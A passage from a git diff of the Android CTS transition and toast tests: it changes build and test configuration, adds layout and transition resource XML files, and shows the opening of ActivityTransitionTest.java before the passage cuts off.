+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsToastTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/toastlegacy/AndroidTest.xml b/tests/tests/toastlegacy/AndroidTest.xml
index a208077..d483946 100644
--- a/tests/tests/toastlegacy/AndroidTest.xml
+++ b/tests/tests/toastlegacy/AndroidTest.xml
@@ -14,7 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for Toast legacy test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsToastLegacyTestCases.apk" />
     </target_preparer>
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index bd91b3d..a80f43c 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -24,13 +24,19 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES += \
+    android-support-test \
+    mockito-target-minus-junit4 \
+    android-common \
+    compatibility-device-util \
+    ctstestrunner \
+    platform-test-annotations
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_SDK_VERSION := current
-
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index 3205f28..1fb4f0e 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -16,12 +16,13 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.transition.cts">
-    <uses-sdk android:minSdkVersion="11" />
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <application>
         <activity android:name="android.transition.cts.TransitionActivity"
             android:label="TransitionActivity"/>
+        <activity android:name="android.transition.cts.TargetActivity"
+            android:label="TargetActivity"/>
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/transition/AndroidTest.xml b/tests/tests/transition/AndroidTest.xml
index 5aad82b..4632cbe 100644
--- a/tests/tests/transition/AndroidTest.xml
+++ b/tests/tests/transition/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Transition test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTransitionTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.transition.cts" />
+        <option name="runtime-hint" value="11m10s" />
     </test>
 </configuration>
diff --git a/tests/tests/transition/res/layout/scene10.xml b/tests/tests/transition/res/layout/scene10.xml
index 16e3c20..5403354 100644
--- a/tests/tests/transition/res/layout/scene10.xml
+++ b/tests/tests/transition/res/layout/scene10.xml
@@ -14,33 +14,39 @@
      limitations under the License.
 -->
 
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:transitionName="holder"
-                android:id="@+id/holder">
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#F00"
-          android:layout_alignParentLeft="true"
-          android:layout_alignParentTop="true"
-          android:id="@+id/redSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#0F0"
-          android:layout_alignParentRight="true"
-          android:layout_alignParentTop="true"
-          android:id="@+id/greenSquare"/>
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#00F"
-          android:layout_alignParentRight="true"
-          android:layout_alignParentBottom="true"
-          android:id="@+id/blueSquare" />
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#FF0"
-          android:layout_alignParentLeft="true"
-          android:layout_alignParentBottom="true"
-          android:id="@+id/yellowSquare"/>
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionGroup="false"
+    android:transitionName="holder"
+    android:id="@+id/holder">
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#F00"
+        android:layout_alignParentLeft="true"
+        android:layout_alignParentTop="true"
+        android:id="@+id/redSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#0F0"
+        android:layout_alignParentRight="true"
+        android:layout_alignParentTop="true"
+        android:id="@+id/greenSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#00F"
+        android:layout_alignParentRight="true"
+        android:layout_alignParentBottom="true"
+        android:id="@+id/blueSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#FF0"
+        android:layout_alignParentLeft="true"
+        android:layout_alignParentBottom="true"
+        android:id="@+id/yellowSquare"/>
 </RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene11.xml b/tests/tests/transition/res/layout/scene11.xml
new file mode 100644
index 0000000..dc6ef19
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene11.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionName="holder"
+    android:id="@+id/holder">
+    <ImageView
+        android:id="@+id/redSquare"
+        android:src="#F00"
+        android:layout_width="10dp"
+        android:layout_height="10dp"/>
+</RelativeLayout>
diff --git a/tests/tests/transition/res/layout/scene12.xml b/tests/tests/transition/res/layout/scene12.xml
new file mode 100644
index 0000000..559ab39
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene12.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionName="holder"
+    android:transitionGroup="false"
+    android:orientation="horizontal"
+    android:id="@+id/holder">
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#F00"
+        android:id="@+id/redSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#0F0"
+        android:id="@+id/greenSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#00F"
+        android:id="@+id/blueSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#FF0"
+        android:id="@+id/yellowSquare"/>
+</LinearLayout>
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
new file mode 100644
index 0000000..b7c783f
--- /dev/null
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:transitionGroup="false"
+    android:transitionName="holder"
+    android:id="@+id/holder">
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#F00"
+        android:layout_alignParentRight="true"
+        android:layout_alignParentTop="true"
+        android:transitionName="redSquare"
+        android:id="@+id/redSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#0F0"
+        android:layout_toRightOf="@id/redSquare"
+        android:id="@+id/greenSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#00F"
+        android:layout_toRightOf="@id/greenSquare"
+        android:id="@+id/blueSquare"/>
+    <View
+        android:layout_width="10dp"
+        android:layout_height="10dp"
+        android:background="#FF0"
+        android:layout_toRightOf="@id/blueSquare"
+        android:id="@+id/yellowSquare"/>
+</RelativeLayout>
diff --git a/tests/tests/transition/res/transition/arc_motion.xml b/tests/tests/transition/res/transition/arc_motion.xml
new file mode 100644
index 0000000..264f074
--- /dev/null
+++ b/tests/tests/transition/res/transition/arc_motion.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <arcMotion android:minimumVerticalAngle="1"
+               android:minimumHorizontalAngle="2"
+               android:maximumAngle="53"/>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/auto_transition.xml b/tests/tests/transition/res/transition/auto_transition.xml
new file mode 100644
index 0000000..e285105
--- /dev/null
+++ b/tests/tests/transition/res/transition/auto_transition.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<autoTransition/>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/change_bounds.xml b/tests/tests/transition/res/transition/change_bounds.xml
new file mode 100644
index 0000000..162372c
--- /dev/null
+++ b/tests/tests/transition/res/transition/change_bounds.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android"
+      android:resizeClip="true"/>
diff --git a/tests/tests/transition/res/transition/change_clip_bounds.xml b/tests/tests/transition/res/transition/change_clip_bounds.xml
new file mode 100644
index 0000000..70a7dc6
--- /dev/null
+++ b/tests/tests/transition/res/transition/change_clip_bounds.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeClipBounds/>
diff --git a/tests/tests/transition/res/transition/change_image_transform.xml b/tests/tests/transition/res/transition/change_image_transform.xml
new file mode 100644
index 0000000..b37ab04
--- /dev/null
+++ b/tests/tests/transition/res/transition/change_image_transform.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeImageTransform/>
diff --git a/tests/tests/transition/res/transition/change_scroll.xml b/tests/tests/transition/res/transition/change_scroll.xml
new file mode 100644
index 0000000..9054686
--- /dev/null
+++ b/tests/tests/transition/res/transition/change_scroll.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeScroll/>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/change_transform.xml b/tests/tests/transition/res/transition/change_transform.xml
new file mode 100644
index 0000000..c87c549
--- /dev/null
+++ b/tests/tests/transition/res/transition/change_transform.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeTransform xmlns:android="http://schemas.android.com/apk/res/android"
+    android:reparent="false" android:reparentWithOverlay="false"/>
diff --git a/tests/tests/transition/res/transition/custom_path_motion.xml b/tests/tests/transition/res/transition/custom_path_motion.xml
new file mode 100644
index 0000000..1704419
--- /dev/null
+++ b/tests/tests/transition/res/transition/custom_path_motion.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <pathMotion class="android.transition.cts.TransitionInflaterTest$CustomPathMotion"/>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/custom_transition.xml b/tests/tests/transition/res/transition/custom_transition.xml
new file mode 100644
index 0000000..35ee285
--- /dev/null
+++ b/tests/tests/transition/res/transition/custom_transition.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<transition class="android.transition.cts.TransitionInflaterTest$CustomTransition"/>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/explode.xml b/tests/tests/transition/res/transition/explode.xml
new file mode 100644
index 0000000..a038d8b
--- /dev/null
+++ b/tests/tests/transition/res/transition/explode.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<explode xmlns:android="http://schemas.android.com/apk/res/android"
+    android:transitionVisibilityMode="mode_in"/>
diff --git a/tests/tests/transition/res/transition/fade.xml b/tests/tests/transition/res/transition/fade.xml
new file mode 100644
index 0000000..2057014
--- /dev/null
+++ b/tests/tests/transition/res/transition/fade.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<fade xmlns:android="http://schemas.android.com/apk/res/android"
+      android:fadingMode="fade_out"/>
diff --git a/tests/tests/transition/res/transition/pattern_path_motion.xml b/tests/tests/transition/res/transition/pattern_path_motion.xml
new file mode 100644
index 0000000..f794447
--- /dev/null
+++ b/tests/tests/transition/res/transition/pattern_path_motion.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <patternPathMotion android:patternPathData="M0 0 L0 100 L100 100"/>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/slide.xml b/tests/tests/transition/res/transition/slide.xml
new file mode 100644
index 0000000..9fde010
--- /dev/null
+++ b/tests/tests/transition/res/transition/slide.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<slide xmlns:android="http://schemas.android.com/apk/res/android"
+    android:slideEdge="top"/>
diff --git a/tests/tests/transition/res/transition/target_classes.xml b/tests/tests/transition/res/transition/target_classes.xml
new file mode 100644
index 0000000..01d1e2d
--- /dev/null
+++ b/tests/tests/transition/res/transition/target_classes.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <targets>
+        <target android:targetClass="android.widget.TextView"/>
+        <target android:targetClass="android.widget.ImageView"/>
+    </targets>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/target_ids.xml b/tests/tests/transition/res/transition/target_ids.xml
new file mode 100644
index 0000000..2340e46
--- /dev/null
+++ b/tests/tests/transition/res/transition/target_ids.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <targets>
+        <target android:targetId="@+id/hello"/>
+        <target android:targetId="@+id/world"/>
+    </targets>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/target_names.xml b/tests/tests/transition/res/transition/target_names.xml
new file mode 100644
index 0000000..b90cf19
--- /dev/null
+++ b/tests/tests/transition/res/transition/target_names.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<changeBounds xmlns:android="http://schemas.android.com/apk/res/android">
+    <targets>
+        <target android:targetName="hello"/>
+        <target android:targetName="world"/>
+    </targets>
+</changeBounds>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/transition_constructors.xml b/tests/tests/transition/res/transition/transition_constructors.xml
new file mode 100644
index 0000000..e442187
--- /dev/null
+++ b/tests/tests/transition/res/transition/transition_constructors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<transitionSet xmlns:android="http://schemas.android.com/apk/res/android">
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationFade"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationChangeBounds"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationChangeImageTransform"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationChangeTransform"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationAutoTransition"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationChangeClipBounds"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationChangeScroll"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationExplode"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationSlide"/>
+    <transition class="android.transition.cts.TransitionInflaterTest$InflationTransitionSet"/>
+</transitionSet>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/transition_manager.xml b/tests/tests/transition/res/transition/transition_manager.xml
new file mode 100644
index 0000000..8d3186c
--- /dev/null
+++ b/tests/tests/transition/res/transition/transition_manager.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<transitionManager xmlns:android="http://schemas.android.com/apk/res/android">
+    <transition android:toScene="@layout/scene1"
+                android:transition="@transition/fade"/>
+    <transition android:fromScene="@layout/scene1" android:toScene="@layout/scene2"
+                android:transition="@transition/change_bounds"/>
+</transitionManager>
\ No newline at end of file
diff --git a/tests/tests/transition/res/transition/transition_set.xml b/tests/tests/transition/res/transition/transition_set.xml
new file mode 100644
index 0000000..3b1ff3c
--- /dev/null
+++ b/tests/tests/transition/res/transition/transition_set.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<transitionSet xmlns:android="http://schemas.android.com/apk/res/android"
+    android:transitionOrdering="sequential">
+    <changeBounds/>
+    <fade/>
+</transitionSet>
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
new file mode 100644
index 0000000..895a10a
--- /dev/null
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -0,0 +1,452 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.transition.cts;
+
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assert.assertEquals;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.transition.Fade;
+import android.transition.Transition;
+import android.transition.Transition.TransitionListener;
+import android.transition.TransitionListenerAdapter;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.transition.TargetTracking;
+import com.android.compatibility.common.util.transition.TrackingTransition;
+import com.android.compatibility.common.util.transition.TrackingVisibility;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ActivityTransitionTest extends BaseTransitionTest {
+    private TransitionListener mExitListener;
+    private TransitionListener mReenterListener;
+    private TransitionListener mSharedElementReenterListener;
+    private TrackingVisibility mExitTransition;
+    private TrackingVisibility mReenterTransition;
+    private TrackingTransition mSharedElementReenterTransition;
+
+    @Override
+    public void setup() {
